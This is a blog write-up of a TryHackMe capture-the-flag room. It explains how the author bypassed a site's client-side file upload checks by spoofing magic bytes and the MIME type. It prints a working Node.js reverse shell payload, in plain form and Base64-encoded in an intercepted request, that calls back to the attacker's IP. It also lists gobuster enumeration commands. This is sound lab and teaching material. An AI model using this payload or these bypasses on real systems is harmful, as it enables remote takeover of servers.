Ally Ring

TryHackMe - File Upload Vulnerabilities - Jewel Writeup

I recently completed the “File Upload Vulnerabilities” room on TryHackMe, and I figured I’d do a writeup on how I completed the challenge room, “Jewel”.


I started out by visiting the web-page though Burp Suite’s browser, which generated a sitemap. The page appeared to advertise uploading a photo of some kind, so I tested uploading standard jpg, and gif files.

The JPEG file was able to be uploaded, but the GIF file was blocked for being too large. This put the upload limit somewhere between 21KB and 484KB.

By now the sitemap had mostly filled out, which showed a /content directory, which I guessed would contain the uploaded files, as well as some JavaScript code in the /assets directory that appeared to be getting used to filter uploads:

// ...
            //Check File Size
            if (event.target.result.length > 50 * 8 * 1024){
                setResponseMsg("File too big", "red");			
                return;
            }

            //Check Magic Number
            if (atob(event.target.result.split(",")[1]).slice(0,3) != "ÿØÿ"){
                setResponseMsg("Invalid file format", "red");
                return;	
            }

            //Check File Extension
            const extension = fileBox.name.split(".")[1].toLowerCase();
            if (extension != "jpg" && extension != "jpeg"){
                setResponseMsg("Invalid file format", "red");
                return;
            }
// ...

This revealed three checks that the developed intended to be satisfied for the file upload to start client-side:

Knowing this, the reverse shell payload would have to have the first 6 bytes set to C5 B8 C3 98 C5 B8 and the filename as shell.jpg.realextension

However, additional enumeration needed to be done in order to figure out what type of payload to send. I used Burp Suite’s request inspector to determine what type of back-end server was hosting the site:

HTTP/1.1 304 Not Modified
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 23 Jan 2023 14:15:31 GMT
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 03 Jul 2020 20:57:40 GMT
ETag: W/"5ea-173167875a0"
Front-End-Https: on

The server was running express.js on Ubuntu. As such, I started looking for potential webshell or reverse shell payloads that could work. Express is a framework on top of node.js, so I found a nodeJS payload I could use:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.11.22.67", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

I then renamed that file to shell.jpg.js, and added the additional magic number bytes.

Unfortunately, this returned an “Invalid File Format” error. Looking at the magic number check again, I noticed that it split at a comma first, so I decided to try adding a comment and a comma in front of the magic numbers, which didn’t work.

I also noticed the aotb() function call, and after some research I found it was decoding Base64 data into ASCII text. As such, I assumed that the signature was some string of characters starting with ÿØÿ that was Base64 encoded, then placed in some list of comma separated items as the second item.

However, after some testing, I found that the data was passed to the JavaScript code as a Base64 encoded string already, so it didn’t need to be encoded manually. I then used a hex editor to add the magic number bytes to the file, bypassing the client side filter.

I then used Burp Suite to intercept the upload request to the server, and modified the Content-Type header, the type field in the request, and the content-length to match a JPEG image upload.

POST / HTTP/1.1
Host: jewel.uploadvulns.thm
Content-Length: 606
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
    Content-Type: application/json
Origin: http://jewel.uploadvulns.thm
Referer: http://jewel.uploadvulns.thm/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{
"name":"payload.jpg.js",
"type":"image/jpeg",
"file":"data:image/jpeg;base64,/9j/2w0KKGZ1bmN0aW9uKCl7DQogICAgdmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLA0KICAgICAgICBjcCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKSwNCiAgICAgICAgc2ggPSBjcC5zcGF3bigic2giLCBbXSk7DQogICAgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7DQogICAgY2xpZW50LmNvbm5lY3QoNDQ0NSwgIjEwLjExLjIyLjY3IiwgZnVuY3Rpb24oKXsNCiAgICAgICAgY2xpZW50LnBpcGUoc2guc3RkaW4pOw0KICAgICAgICBzaC5zdGRvdXQucGlwZShjbGllbnQpOw0KICAgICAgICBzaC5zdGRlcnIucGlwZShjbGllbnQpOw0KICAgIH0pOw0KICAgIHJldHVybiAvYS87IC8vIFByZXZlbnRzIHRoZSBOb2RlLmpzIGFwcGxpY2F0aW9uIGZyb20gY3Jhc2hpbmcNCn0pKCk7DQo="
}

The upload then was able to complete successfully.


To assist with enumeration, I had been supplied with a word-list of filenames. Based on the fact that they were 3 character long filenames as seen in the sitemap, I guessed that the file had been uploaded to /content with a random 3 character long name.

I set up gobuster to enumerate these file names using combinations of the .jpg and .js extensions:

gobuster dir -u http://jewel.uploadvulns.thm/content -w ~/Downloads/UploadVulnsWordlist.txt -x js,jpg,jpg.js
2023/01/23 15:38:51 Starting gobuster in directory enumeration mode  
===============================================================  
/ABH.jpg              (Status: 200) [Size: 705442]  
/LKQ.jpg              (Status: 200) [Size: 444808]  
/SAD.jpg              (Status: 200) [Size: 247159]  
/SIK.jpg              (Status: 200) [Size: 395]

/SIK.jpg appeared to be the backdoor I had uploaded, but it’s extension had changed from .jpg.js to .jpg, meaning that I couldn’t run it outright.

I decided to also run a gobuster scan on the site, which showed several interesting directories that I had missed:

gobuster dir -u http://jewel.uploadvulns.thm -w /usr/share/wordlists/directory_scanner/directory_list_2.3_medium.txt
2023/01/23 15:51:22 Starting gobuster in directory enumeration mode  
===============================================================  
/content              (Status: 301) [Size: 181] [--> /content/]  
/modules              (Status: 301) [Size: 181] [--> /modules/]  
/admin                (Status: 200) [Size: 1238]  
/assets               (Status: 301) [Size: 179] [--> /assets/]  
/Content              (Status: 301) [Size: 181] [--> /Content/]  
/Assets               (Status: 301) [Size: 179] [--> /Assets/]  
/Modules              (Status: 301) [Size: 181] [--> /Modules/]  
/Admin                (Status: 200) [Size: 1238]

Notably, the /admin page contained a form to load arbitrary modules from the /modules directory.

I figured I could use this to execute the code I had uploaded, but I realised that the code I uploaded would immediately error due to the magic numbers put in at the start of the file, so I re-uploaded the file and changed the Base64 contents of the upload in the intercepted request in Burp Suite to be an unmodified payload.

I then reran gobuster, without the previous options to discover .js and .jpg.js files:

gobuster dir -u http://jewel.uploadvulns.thm/content -w ~/Downloads/UploadVulnsWordlist.txt -x jpg
2023/01/23 16:09:28 Starting gobuster in directory enumeration mode  
===============================================================  
/ABH.jpg              (Status: 200) [Size: 705442]  
/BVO.jpg              (Status: 200) [Size: 394]  
/EEI.jpg              (Status: 200) [Size: 393]

I verified that the EEI.jpg file was the updated payload using curl, then ran it using the admin panel with a netcat listener open, which gave me a reverse shell!


Overall, I really enjoyed working through this room. It managed to cover not only common file-upload vulnerabilities, but also using Burp Suite, analysing source code, and enumerating a web server.

© 2023 Ally Ring   •  Theme  Moonwalk